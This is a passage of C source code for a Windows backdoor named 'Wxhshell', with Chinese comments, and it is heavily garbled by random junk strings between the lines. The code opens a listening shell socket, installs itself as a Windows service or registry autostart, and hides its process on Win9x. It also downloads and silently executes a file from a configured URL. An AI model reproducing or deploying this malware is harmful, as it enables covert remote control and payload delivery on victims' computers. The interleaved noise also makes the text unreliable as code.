O$dcy! 0 QzUcr)3+ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
ywQ>T+ iJ8 5okv' CloseHandle(hProcess); 8PN/*Sa 0P MF)';R if(strstr(procName,"services")) return 1; // 以服务启动 "zN2+X"& :ik$@5wp return 0; // 注册表启动 Z)V m,ng } :eK(9o l ~bjNhk // 主模块 )7X+T'?% int StartWxhshell(LPSTR lpCmdLine) B: '}SA{ { 6CQ.>M:R SOCKET wsl; $5(_U BOOL val=TRUE; "o| f int port=0; +&AKDVmx struct sockaddr_in door; |6qxRWT" I
JPpF` if(wscfg.ws_autoins) Install(); o0yyP,?yh JpI(Vcd port=atoi(lpCmdLine); `zRE $O cImOZx if(port<=0) port=wscfg.ws_port; jCJbmEfo9@ <5Ye')+ WSADATA data; os:/-A_m if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ] ^f7s36 8|-j]
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; trl:\m setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZQL4<fy'E door.sin_family = AF_INET; [Ej#NHs door.sin_addr.s_addr = inet_addr("127.0.0.1"); \BRxdK' door.sin_port = htons(port); UxGr+q *8QESF9 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o+NPe36 closesocket(wsl); 73n|G/9n[ return 1; |iGfX,C| } xgdS]Sz Gky
e if(listen(wsl,2) == INVALID_SOCKET) { EnM }H9A closesocket(wsl); 9S<87sO return 1; FJ/>=2^B } Z$UPLg3=;_ Wxhshell(wsl); bCV3h3< WSACleanup(); TO(2n8'fdO n;Nr[hI return 0; *qX! p"xti+2, } o{W4@:Ib R*"31&3le4 // 以NT服务方式启动 Qkk3>{I VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +*W9*gl { V6c>1nZ DWORD status = 0; a{4Wg: DWORD specificError = 0xfffffff; 9s#Q[\B! ^#6"d+lp serviceStatus.dwServiceType = SERVICE_WIN32; &Zxo\[lP serviceStatus.dwCurrentState = SERVICE_START_PENDING; |b
BA0.yS serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r8R]0\ serviceStatus.dwWin32ExitCode = 0; YmBo/I M serviceStatus.dwServiceSpecificExitCode = 0; ]+U:8* serviceStatus.dwCheckPoint = 0; )A@
}mIs" serviceStatus.dwWaitHint = 0; Ok0zgi NmH1*w<A hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rE&`G[(b if (hServiceStatusHandle==0) return; T<jo@z1UL P#0U[`ltK status = GetLastError(); Moldv
x=M if (status!=NO_ERROR) A`5/u"]*D { WfdM~k\ serviceStatus.dwCurrentState = SERVICE_STOPPED; ?{)s dJe serviceStatus.dwCheckPoint = 0; /Zzb7bHLK serviceStatus.dwWaitHint = 0; IInsq serviceStatus.dwWin32ExitCode = status; v+), uj serviceStatus.dwServiceSpecificExitCode = specificError; z:
;ZPSn SetServiceStatus(hServiceStatusHandle, &serviceStatus); TO,XN\{y return; o@6hlLr } N7wKaezE dy}O6 serviceStatus.dwCurrentState = SERVICE_RUNNING; Qb N7sg~~ serviceStatus.dwCheckPoint = 0; slQxz;t serviceStatus.dwWaitHint = 0; ;0Vyim)S] if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rXIFCt8J } k=nN#SMn *y}<7R // 处理NT服务事件,比如:启动、停止 $]
gwaJ: VOID WINAPI NTServiceHandler(DWORD fdwControl) p)x*uqSd { H'2J! /V switch(fdwControl) ,qj1"e { n#US4&uT4A case SERVICE_CONTROL_STOP: 3 L:s5 serviceStatus.dwWin32ExitCode = 0; #Epx'$9 serviceStatus.dwCurrentState = SERVICE_STOPPED; 5qe6/E@ serviceStatus.dwCheckPoint = 0; !ek};~( serviceStatus.dwWaitHint = 0; %(P\"hE' { 6'F4p1VG*I SetServiceStatus(hServiceStatusHandle, &serviceStatus); $i|c6& } O<*l"fw3 return; b`9J1p.; case SERVICE_CONTROL_PAUSE: ,k9@%{4 l serviceStatus.dwCurrentState = SERVICE_PAUSED; EMTAl;P break; MV(Sb:RZ case SERVICE_CONTROL_CONTINUE: fwN'5ep serviceStatus.dwCurrentState = SERVICE_RUNNING; 6Mh;ld@ break; F2N)|C< case SERVICE_CONTROL_INTERROGATE: sy\w ^] break; 1"hd5a }; hoj('P2a#n SetServiceStatus(hServiceStatusHandle, &serviceStatus); |}?o=bO } CnXl 7" ,/bSa/x` // 标准应用程序主函数 bG|aQ2HW int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) odPdWV,&* { &'mq).I2 eG@0: // 获取操作系统版本 Ala~4_" WL OsIsNt=GetOsVer(); +,g"8&> GetModuleFileName(NULL,ExeFile,MAX_PATH); ^xNs^wC. ,A{'lu // 从命令行安装 *GGiSt if(strpbrk(lpCmdLine,"iI")) Install(); ]N& Y25oT5 #GlQwk3 // 下载执行文件 5n1aRA1 if(wscfg.ws_downexe) { Qf'%".*=~8 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <=yqV]JR WinExec(wscfg.ws_filenam,SW_HIDE); &az
:YTq } YF4?3K0F:k #s}cK if(!OsIsNt) { {hNvCk // 如果时win9x,隐藏进程并且设置为注册表启动 (C&Lpt_ HideProc(); %XQ!>BeE StartWxhshell(lpCmdLine); d3IMQ_k } N Dqvt$ else C4].egVg if(StartFromService()) "44A#0)B'l // 以服务方式启动 NI%&Xhn!*> StartServiceCtrlDispatcher(DispatchTable); W5f|#{&L: else ~vGX(8N // 普通方式启动 T'K6Q cu StartWxhshell(lpCmdLine); $;V?xZm[ 6^Q/D7U;s return 0; Q ,`R-?v }
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